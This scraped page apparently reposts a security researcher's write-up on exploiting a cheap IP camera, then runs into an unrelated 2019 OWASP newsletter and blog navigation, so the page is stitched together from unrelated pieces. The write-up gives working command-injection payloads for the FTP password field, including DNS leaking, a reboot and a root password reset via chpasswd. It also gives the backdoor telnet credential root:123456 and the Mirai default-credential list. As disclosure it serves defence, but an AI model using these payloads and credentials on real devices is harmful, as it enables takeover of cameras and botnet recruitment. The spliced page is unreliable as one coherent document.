Ni Chicha Ni Limonada

Ni chicha Ni limonada

The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the most affordable among all others, my expectations regarding security was low. But this camera was still able to surprise me.

Maybe I will disclose the camera model used in my hack in this blog later, but first, I will try to contact someone regarding these issues. Unfortunately, it seems a lot of different cameras have this problem because they share being developed on the same SDK. Again, my expectations are low on this.

The obvious problems

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch its output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course.

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password are sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in

"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong - user.ipcam.hk/user.easyn.hk - and China - op2.easyn.cn/op3.easyn.cn. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud, the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.

PORT     STATE SERVICE    VERSION 23/tcp   open  telnet     BusyBox telnetd 81/tcp   open  http       GoAhead-Webs httpd | http-auth:  | HTTP/1.1 401 Unauthorized |_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81 |_http-methods: No Allow or Public header in OPTIONS response (status code 400) |_http-title: Document Error: Unauthorized 8600/tcp open  tcpwrapped

The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27-page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double-blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately, it was not working at all, I got an invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems that made the exploitation harder. I call this vulnerability double-blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleep was not a real solution.

But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:

$(ping%20-c%202%20%60pwd%60)

or cleaning up after URL decode:

$(ping -c 2 `pwd`)

but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

The following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.

$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name $(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row $(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters $(ping `cat /tmp/c`)           ;leak it via DNS

After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double-blind hack was a bit too much for this automated tool, unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.

$(echo 'root:passwd'|chpasswd)

Now, logging in via telnet

(none) login: root Password:  BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. #

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/ftpupdate.sh /system/system/bin/ftp -n<<! open ftp.site.com 21 user ftpuser $(echo 'root:passwd'|chpasswd) binary mkdir  PSD-111111-REDACT cd PSD-111111-REDACT lcd /tmp put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg close bye

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panic that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

Unfortunately, there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.

It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.

With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising.

My hardening list

I added these lines to the end of /system/init/ipcam.sh:

sleep 15 echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

You can use OpenVPN to connect into your home network and access the web interface of the camera. It works from Android, iOS, and any desktop OS.

My TODO list

Investigate the script /system/system/bin/gmail_thread
Investigate the cloud protocol * - see update 2016 10 27
Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn

A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump.

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr. Robot, you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this.

Update: as you can see in the following screenshot, the bad guys already started to take advantage of this issue ... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html

Update 20161006: The Mirai source code was leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.

root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root (none)
admin password
root root
root 12345
user user
admin (none)
root pass
admin admin1234
root 1111
admin smcadmin
admin 1111
root 666666
root password
root 1234
root klv123
Administrator admin
service service
supervisor supervisor
guest guest
guest 12345
guest 12345
admin1 password
administrator 1234
666666 666666
888888 888888
ubnt ubnt
root klv1234
root Zte521
root hi3518
root jvbzd
root anko
root zlxx.
root 7ujMko0vizxv
root 7ujMko0admin
root system
root ikwb
root dreambox
root user
root realtek
root 00000000
admin 1111111
admin 1234
admin 12345
admin 54321
admin 123456
admin 7ujMko0admin
admin 1234
admin pass
admin meinsm
tech tech
mother fucker

Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.
Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8
Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk

Update 2017-03-08: "Because of code reusing, the vulnerabilities are present in a massive list of cameras (especially the InfoLeak and the RCE),
which allow us to execute root commands against 1250+ camera models with a pre-auth vulnerability. "https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt

Update 2017-05-11: CVE-2017-5674 (see above), and my command injection exploit was combined in the Persirai botnet. 120 000 cameras are expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."
This issue might be worse than the Mirai worm because these effects cameras and other IoT behind NAT where UPnP was enabled.
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

Letter from the Vice-Chairman:

Dear OWASP Community,

I hope you are enjoying your summer, mines been pretty busy, getting married, traveling to Vegas and the board elections. August has been quite a busy month for the foundation. Attending BlackHat and DefCon as part of our outreach program, the upcoming elections ( I have to add, there were some really good questions from the community) and planning for the next two Global AppSec Conferences in September, it's been crazy. We the board would like to thank the staff and without naming any names (Jon McCoy) for their efforts during BlackHat and DefCon. I was there, on the stand, he did a good job of representing our community.

Two days prior to BlackHat and Defcon the board met as part of our second face to face meeting of the year. This was two days well spent, collaborating on some of the burning topics, but also how to move forward. At the beginning of the year, we set out our strategic goals. Even though these goals are part of our everyday OWASP life we decided to put a name against them to champion them, below are our goals and who will be championing them going forward:

Marketing - Chenxi
Membership - Ofer
Developer Outreach - Martin
Project Focus - Sherif
Improve Finances - Gary
Perception - Martin
Process Improvement - Owen
Consistent ED - Done!
Community Empowerment - Richard

If you are interested in getting involved in or would like to hear more about any of these strategic goals, please reach out to the relevant name above.

Some of the Global board members will be attending both our Global AppSec Conference in Amsterdam but also in DC. We will hold our next public board meeting during the Global AppSec Conference in Amsterdam if you haven't already done so I would encourage you to both attend and spread the word of the conference. There are some great keynotes/ speakers and trainers lined up.

Regards
Owen Pendlebury
Vice-Chairman of the OWASP Global Board of Directors

DC Registration Now Open Amsterdam Registration Now Open

Congratulations to the Global AppSec Tel Aviv 2019
Capture the Flag Winners

For two full days, 24 competitors from around the world attacked various challenges that were present within the CTF activity held at Global AppSec Tel Aviv 2019. The competition began with a handful of competitors running neck and neck with two competitors, 4lemon and vasya, at the top, slowly gathering more points in their race hoping to win it all. At the last moment, they were overtaken by Aleph who swooped in and took away the victory for himself with a total score of 29 points!

We would like to thank all of the individuals who participated and once again, congratulations to the top 3.
1st Place Winner: Aleph (29 points)
2nd Place: 4lemon (24 points)
3rd Place: vasya (24 points)

EVENTS

You may also be interested in one of our other affiliated events:

REGIONAL EVENTS

Event	Date	Location
OWASP Portland Training Day	September 25, 2019	Portland, OR
OWASP Italy Day Udine 2019	September 27, 2019	Udine, Italy
OWASP Poland Day	October 16,2019	Wroclaw, Poland
BASC 2019 (Boston Application Security Conference)	October 19,2019	Burlington, MA
LASCON X	October 24 - 25,2019	Austin, TX
OWASP AppSec Day 2019	Oct 30 - Nov 1, 2019	Melbourne, Australia
German OWASP Day 2019	December 9 - 10, 2019	Karlsruhe, Germany
AppSec California 2020	January 21 - 24. 2020	Santa Monica, CA
OWASP New Zealand Day 2020	February 20 - 21, 2020	Auckland, New Zealand

PARTNER AND PROMOTIONAL EVENTS

Event	Date	Location
it-sa-IT Security Expo and Congress	October 8 - 10, 2019	Germany

PROJECTS

Project Review Results from Global AppSec - Tel Aviv 2019
The results of the project reviews from Global AppSec Tel Aviv 2019 are in! The following projects have graduated to the indicated status:

Project	Leaders	Level
Mobile Security Testing Guide	Jeroen Willemsen, Sven Schleier	Flagship
Cheat Sheet Series	Jim Manico, Dominique Righetto	Flagship
Amass	Jeff Foley	Lab

Please congratulate the leaders and their teams for their achievements!
If your project was up for review at Global AppSec Tel Aviv 2019 and it is not on this list, it just means that the project did not yet receive enough reviews. And, if you are interested in helping review projects, send me an email (harold.blankenship@owasp.com).

Project Showcases at the Upcoming Global AppSecs
The Project Showcases for Global Appsec DC 2019 and Global AppSec Amsterdam 2019 are finalized. For a complete schedule, see the following links:

Global AppSec - DC 2019 Project Showcase
Global AppSec - Amsterdam 2019 Project Showcase

Google Summer of Code Update
Google Summer of Code is now in the final stages. Final Evaluations are due by September 2nd.

The Mentor Summit will be in Munich this year; congratulate the OWASP mentors who were picked by raffle to attend and represent OWASP: Azzeddine Ramrami & Ali Razmjoo.

Google Summer of Code Update

THE OWASP FOUNDATION HAS SELECTED THE TECHNICAL WRITER FOR GOOGLE SEASON OF DOCS by Fabio Cerullo

The OWASP Foundation has been accepted as the organization for the Google Seasons of Docs, a project whose goals are to give technical writers an opportunity to gain experience in contributing to open source projects and to give open-source projects an opportunity to engage the technical writing community.

During the program, technical writers spend a few months working closely with an open-source community. They bring their technical writing expertise to the project's documentation, and at the same time learn about open source and new technologies.

The open-source projects work with the technical writers to improve the project's documentation and processes. Together they may choose to build a new documentation set, or redesign the existing docs, or improve and document the open-source community's contribution procedures and onboarding experience. Together, we raise public awareness of open source docs, of technical writing, and of how we can work together to the benefit of the global open source community.

After a careful review and selection process, the OWASP Foundation has picked the primary technical writer who will work along the OWASP ZAP Team for the next 3 months to create the API documentation of this flagship project.

Congratulations to Nirojan Selvanathan!

Please refer to the linked document where you could look at the deliverables and work execution plan.
https://drive.google.com/open?id=1kwxAzaqSuvWhis9Xn1VKNJTJZPM2UV20

COMMUNITY

Welcome New OWASP Chapters

Tegucigalpa, Honduras
Johannesburg, South Africa

CORPORATE SPONSORS

Join us

Donate

Our mailing address is:
OWASP Foundation
1200-C Agora Drive, #232
Bel Air, MD 21014

Contact Us

Unsubscribe

This email was sent to *|EMAIL|*
why did I get this? unsubscribe from this list update subscription preferences
*|LIST:ADDRESSLINE|*

Ni Chicha Ni Limonada

Contador nichichanilimonada

sábado, 27 de enero de 2024

How I Hacked My IP Camera, And Found This Backdoor Account

The obvious problems

The double-blind command injection

My hardening list

My TODO list

Related articles

August Connector

COMMUNICATIONS

EVENTS

PROJECTS

COMMUNITY

CORPORATE SPONSORS

Post anteriores